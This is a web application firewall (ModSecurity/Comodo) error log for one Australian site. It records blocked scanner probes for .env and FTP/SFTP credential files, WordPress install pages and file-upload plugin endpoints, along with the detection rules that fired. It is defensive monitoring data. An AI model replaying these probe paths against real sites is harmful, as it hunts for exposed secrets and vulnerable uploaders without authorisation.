[Fri Jan 16 17:59:19.970472 2026] [:error] [pid 30865:tid 30883] [client 43.166.244.66:37960] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWoL9xCR_HCYGnC3FS_LJgAAAU8"]
[Fri Jan 16 19:07:31.000043 2026] [:error] [pid 54008:tid 54010] [client 157.32.138.234:55301] [client 157.32.138.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.32.138.234, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWob8seowS6CyLOmCzPTVQAAAIA"]
[Fri Jan 16 23:29:25.083322 2026] [:error] [pid 30866:tid 30898] [client 43.130.32.245:36546] [client 43.130.32.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWpZVSfb83E1Tbd0nr_WXwAAAAM"]
[Sat Jan 17 02:06:12.483374 2026] [:error] [pid 54008:tid 54013] [client 152.42.208.28:59165] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/assets/js/ckeditor/kcfinder/upload.php"] [unique_id "aWp-FMeowS6CyLOmCzNNlAAAAIM"]
[Sat Jan 17 02:06:13.096012 2026] [:error] [pid 30957:tid 30981] [client 152.42.208.28:59180] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "aWp-Fd2pbRtnni7K9w-95AAAAFU"]
[Sat Jan 17 02:06:13.587444 2026] [:error] [pid 54008:tid 54026] [client 152.42.208.28:59183] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/global/plugins/jquery-file-upload/"] [unique_id "aWp-FceowS6CyLOmCzNNlwAAAJA"]
[Sat Jan 17 02:06:13.986713 2026] [:error] [pid 30865:tid 30885] [client 152.42.208.28:59190] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main/user/assets/jquery-file-upload/"] [unique_id "aWp-FRCR_HCYGnC3FS-RJgAAAVE"]
[Sat Jan 17 02:06:14.375968 2026] [:error] [pid 30865:tid 30874] [client 152.42.208.28:59206] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/jquery-file-upload/"] [unique_id "aWp-FhCR_HCYGnC3FS-RJwAAAUY"]
[Sat Jan 17 02:06:14.816484 2026] [:error] [pid 30865:tid 30888] [client 152.42.208.28:59215] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/jquery-file-upload/"] [unique_id "aWp-FhCR_HCYGnC3FS-RKQAAAVQ"]
[Sat Jan 17 02:06:15.504709 2026] [:error] [pid 30865:tid 30881] [client 152.42.208.28:59239] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/plugins/jquery-file-upload/"] [unique_id "aWp-FxCR_HCYGnC3FS-RKgAAAU0"]
[Sat Jan 17 02:06:16.216610 2026] [:error] [pid 30866:tid 30895] [client 152.42.208.28:59257] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/jquery-file-upload/"] [unique_id "aWp-GCfb83E1Tbd0nr_0EQAAAAA"]
[Sat Jan 17 02:06:16.590198 2026] [:error] [pid 30865:tid 30887] [client 152.42.208.28:59262] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/jquery-file-upload"] [unique_id "aWp-GBCR_HCYGnC3FS-RLQAAAVM"]
[Sat Jan 17 02:06:16.955473 2026] [:error] [pid 30865:tid 30892] [client 152.42.208.28:59267] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/assets/jquery-file-upload/"] [unique_id "aWp-GBCR_HCYGnC3FS-RMAAAAVg"]
[Sat Jan 17 02:06:17.305161 2026] [:error] [pid 30865:tid 30871] [client 152.42.208.28:59308] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery-file-upload/"] [unique_id "aWp-GRCR_HCYGnC3FS-RMgAAAUM"]
[Sat Jan 17 02:06:17.795499 2026] [:error] [pid 30865:tid 30869] [client 152.42.208.28:59321] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jquery-file-upload"] [unique_id "aWp-GRCR_HCYGnC3FS-RMwAAAUE"]
[Sat Jan 17 02:06:18.425427 2026] [:error] [pid 30865:tid 30879] [client 152.42.208.28:59334] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/administrator/jquery-file-upload"] [unique_id "aWp-GhCR_HCYGnC3FS-RNgAAAUs"]
[Sat Jan 17 02:06:18.802183 2026] [:error] [pid 30957:tid 30979] [client 152.42.208.28:59360] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/js/jquery-file-upload"] [unique_id "aWp-Gt2pbRtnni7K9w-96QAAAFM"]
[Sat Jan 17 02:06:19.179895 2026] [:error] [pid 54008:tid 54028] [client 152.42.208.28:59365] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/jquery-file-upload"] [unique_id "aWp-G8eowS6CyLOmCzNNmQAAAJI"]
[Sat Jan 17 02:06:19.630766 2026] [:error] [pid 30865:tid 30888] [client 152.42.208.28:59375] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/tinymce/plugins/jquery-file-upload"] [unique_id "aWp-GxCR_HCYGnC3FS-ROQAAAVQ"]
[Sat Jan 17 02:06:19.987010 2026] [:error] [pid 30957:tid 30974] [client 152.42.208.28:59385] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/jquery-file-upload"] [unique_id "aWp-G92pbRtnni7K9w-96gAAAE4"]
[Sat Jan 17 02:06:20.396433 2026] [:error] [pid 30865:tid 30875] [client 152.42.208.28:59389] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/jquery-file-upload"] [unique_id "aWp-HBCR_HCYGnC3FS-ROwAAAUc"]
[Sat Jan 17 02:06:20.748095 2026] [:error] [pid 30865:tid 30882] [client 152.42.208.28:59403] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/jquery-file-upload"] [unique_id "aWp-HBCR_HCYGnC3FS-RPAAAAU4"]
[Sat Jan 17 02:06:21.095404 2026] [:error] [pid 30865:tid 30880] [client 152.42.208.28:59416] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/js/jquery-file-upload"] [unique_id "aWp-HRCR_HCYGnC3FS-RPQAAAUw"]
[Sat Jan 17 02:06:21.471748 2026] [:error] [pid 30866:tid 30917] [client 152.42.208.28:59430] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/assets/js/jquery-file-upload"] [unique_id "aWp-HSfb83E1Tbd0nr_0EwAAABY"]
[Sat Jan 17 02:06:21.988969 2026] [:error] [pid 30957:tid 30967] [client 152.42.208.28:59446] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aWp-Hd2pbRtnni7K9w-97QAAAEc"]
[Sat Jan 17 02:06:22.365286 2026] [:error] [pid 30957:tid 30965] [client 152.42.208.28:59459] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/install.php"] [unique_id "aWp-Ht2pbRtnni7K9w-97wAAAEU"]
[Sat Jan 17 02:06:22.826681 2026] [:error] [pid 30866:tid 30912] [client 152.42.208.28:59473] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/install.php"] [unique_id "aWp-Hifb83E1Tbd0nr_0FQAAABE"]
[Sat Jan 17 02:06:23.239512 2026] [:error] [pid 30866:tid 30916] [client 152.42.208.28:59477] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-admin/install.php"] [unique_id "aWp-Hyfb83E1Tbd0nr_0FgAAABU"]
[Sat Jan 17 02:06:23.821600 2026] [:error] [pid 30865:tid 30871] [client 152.42.208.28:59485] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-admin/install.php"] [unique_id "aWp-HxCR_HCYGnC3FS-RPwAAAUM"]
[Sat Jan 17 02:06:24.257107 2026] [:error] [pid 30957:tid 30971] [client 152.42.208.28:59491] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new/wp-admin/install.php"] [unique_id "aWp-IN2pbRtnni7K9w-98wAAAEs"]
[Sat Jan 17 02:06:24.780870 2026] [:error] [pid 30866:tid 30897] [client 152.42.208.28:59504] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-admin/install.php"] [unique_id "aWp-ICfb83E1Tbd0nr_0GQAAAAI"]
[Sat Jan 17 02:06:25.214395 2026] [:error] [pid 30866:tid 30900] [client 152.42.208.28:59524] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/old/wp-admin/install.php"] [unique_id "aWp-ISfb83E1Tbd0nr_0GgAAAAU"]
[Sat Jan 17 02:06:25.595078 2026] [:error] [pid 54008:tid 54030] [client 152.42.208.28:59540] [client 152.42.208.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/backup/wp-admin/install.php"] [unique_id "aWp-IceowS6CyLOmCzNNngAAAJQ"]
[Sat Jan 17 02:16:44.542495 2026] [:error] [pid 30865:tid 30883] [client 182.42.105.144:60306] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWqAjBCR_HCYGnC3FS-TwQAAAU8"]
[Sat Jan 17 09:45:09.930054 2026] [:error] [pid 31225:tid 31299] [client 91.92.241.199:51799] [client 91.92.241.199] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aWrppenu2L2yWFDbzyUxgAAAAIs"]
[Sat Jan 17 10:08:46.486287 2026] [:error] [pid 31225:tid 31292] [client 43.166.7.113:60644] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWrvLunu2L2yWFDbzyU4gAAAAIQ"]
[Sat Jan 17 11:03:35.735065 2026] [:error] [pid 31698:tid 31723] [client 152.42.208.28:51727] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aWr8B7jKZJSxKAfZqrJbdQAAARU"]
[Sat Jan 17 11:04:18.499737 2026] [:error] [pid 31322:tid 31336] [client 152.42.208.28:52095] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env-old"] [unique_id "aWr8MnxOW98yk2MBlypoJQAAAMI"]
[Sat Jan 17 11:05:03.488374 2026] [:error] [pid 31698:tid 31709] [client 152.42.208.28:52519] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aWr8X7jKZJSxKAfZqrJbpAAAAQc"]
[Sat Jan 17 11:05:44.841771 2026] [:error] [pid 31225:tid 31298] [client 152.42.208.28:52895] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env-bak"] [unique_id "aWr8iOnu2L2yWFDbzyVHzQAAAIo"]
[Sat Jan 17 11:06:27.928473 2026] [:error] [pid 31322:tid 31358] [client 152.42.208.28:53257] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.server"] [unique_id "aWr8s3xOW98yk2MBlypoawAAANg"]
[Sat Jan 17 11:07:39.674760 2026] [:error] [pid 31322:tid 31352] [client 152.42.208.28:53828] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aWr8-3xOW98yk2MBlypopQAAANI"]
[Sat Jan 17 11:08:50.831474 2026] [:error] [pid 31322:tid 31351] [client 152.42.208.28:54363] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env-backup"] [unique_id "aWr9QnxOW98yk2MBlypo6gAAANE"]
[Sat Jan 17 11:09:45.282510 2026] [:error] [pid 31225:tid 31291] [client 152.42.208.28:54787] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aWr9eenu2L2yWFDbzyVIugAAAIM"]
[Sat Jan 17 11:10:49.016167 2026] [:error] [pid 31225:tid 31291] [client 152.42.208.28:55412] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev"] [unique_id "aWr9uenu2L2yWFDbzyVJJQAAAIM"]
[Sat Jan 17 11:15:19.103777 2026] [:error] [pid 31224:tid 31272] [client 152.42.208.28:57635] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/config/ftp.config"] [unique_id "aWr-xzgpVpEMk8-OQkip-wAAAEs"]
[Sat Jan 17 11:16:39.657287 2026] [:error] [pid 31225:tid 31295] [client 152.42.208.28:58390] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aWr_F-nu2L2yWFDbzyVK_wAAAIc"]
[Sat Jan 17 11:17:18.644161 2026] [:error] [pid 31223:tid 31238] [client 152.42.208.28:58786] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ftp.conf"] [unique_id "aWr_PkMnpeq0T1sEOlKKsQAAAAU"]
[Sat Jan 17 11:18:25.443732 2026] [:error] [pid 31698:tid 31705] [client 152.42.208.28:59256] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ftp.config"] [unique_id "aWr_gbjKZJSxKAfZqrJeyAAAAQM"]
[Sat Jan 17 11:19:11.913432 2026] [:error] [pid 31224:tid 31270] [client 152.42.208.28:59552] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ftp-config.conf"] [unique_id "aWr_rzgpVpEMk8-OQkiqwQAAAEk"]
[Sat Jan 17 11:21:27.218080 2026] [:error] [pid 31698:tid 31722] [client 152.42.208.28:60838] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ftps.conf"] [unique_id "aWsAN7jKZJSxKAfZqrJffAAAARQ"]
[Sat Jan 17 11:22:10.614012 2026] [:error] [pid 31225:tid 31293] [client 152.42.208.28:61138] [client 152.42.208.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||measureyourbrand.com.au|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "measureyourbrand.com.au"] [uri "/ftps.config"] [unique_id "aWsAYunu2L2yWFDbzyVNGwAAAIU"]
